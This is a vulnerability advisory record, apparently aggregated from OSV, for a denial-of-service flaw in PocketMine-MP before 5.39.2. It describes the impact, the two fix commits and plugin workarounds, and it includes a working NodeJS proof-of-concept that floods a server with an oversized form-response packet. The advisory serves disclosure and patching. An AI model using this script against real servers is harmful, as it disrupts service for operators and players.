{"id":"CVE-2026-86204","aliases":["GHSA-788v-5pfp-93ff"],"url":"https://o3.security/vulnerability/CVE-2026-86204","summary":"PocketMine-MP before 5.39.2 Denial of Service via ModalFormResponsePacket","details":"### Impact\n\nThe server does not meaningfully limit the size of the JSON payload in `ModalFormResponsePacket`. This can be abused by an attacker to waste memory and CPU on an affected server, e.g. by sending arrays with millions of elements.\n\nThe player must have a full session on the server (i.e. spawned in the world) to exploit this, as form responses are not handled unless the player is in game.\n\n### Patches\nThe issue was fixed in two parts:\n- cef1088341e40ee7a6fa079bca47a84f3524d877 limits the size of a single form response to 10 KB, which is well above expected size, but low enough to prevent abuse\n- f983f4f66d5e72d7a07109c8175799ab0ee771d5 avoids decoding the form response if there is no form associated with the given ID\n\n### Workarounds\nThis issue can be worked around in a plugin using `DataPacketReceiveEvent` by:\n- checking the max size of the `formData` field\n- making sure the form ID is not repeated\n\nHowever, a full workaround for the issue would require reflection to access the `Player->forms` property, which is not exposed via any accessible API prior to 5.39.2.\n\n### PoC\n\n1. Join a PocketMine-MP server as a regular player (no special permissions needed).\n2. Use a modified client or packet-sending script to send a `ModalFormResponsePacket` with:\n\n   * Any non-existent `formId`\n   * `formData` containing a massive JSON array (e.g., 10+ MB payload).\n3. The server will attempt to parse the JSON and may freeze or become unresponsive.\n\nExample NodeJS pseudocode:\n\n```javascript\nimport { createClient } from 'bedrock-protocol';\n\nconst host = '127.0.0.1';\nconst port = 19132;\nconst username = 'Test';\n\nconst client = createClient({\n  host,\n  port,\n  username,\n  offline: true\n});\n\nconst hugePayload = '[' + '0,'.repeat(5_000_000) + '0]';\n\nclient.on('spawn', () => {\n  console.log('[*] Connected & spawned. Sending malicious packet...');\n\n  client.write('modal_form_response', {\n    formId: 9999,       // Form inexistant\n    formData: hugePayload // JSON énorme\n  });\n\n  console.log('[*] Packet sent. The server should start freezing shortly.');\n});\n```","published":"2026-09-09T13:32:05.073Z","modified":"2026-10-28T02:31:09.063943934Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Packagist","name":"pocketmine/pocketmine-mp","fixedVersion":"5.39.2"}],"fix":{"url":"https://github.com/pmmp/PocketMine-MP/commit/cef1088341e40ee7a6fa079bca47a84f3524d877","label":"pmmp/PocketMine-MP@cef1088"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/86xxx/CVE-2026-86204.json"},{"type":"ADVISORY","url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-788v-5pfp-93ff"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86204"},{"type":"ADVISORY","url":"https://www.vulncheck.com/advisories/pocketmine-mp-before-5.39.2-denial-of-service-via-modalformresponsepacket"},{"type":"WEB","url":"https://github.com/pmmp/PocketMine-MP/commit/cef1088341e40ee7a6fa079bca47a84f3524d877"},{"type":"WEB","url":"https://github.com/pmmp/PocketMine-MP/commit/f983f4f66d5e72d7a07109c8175799ab0ee771d5"},{"type":"PACKAGE","url":"https://github.com/pmmp/PocketMine-MP"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:31:09.063943934Z"}}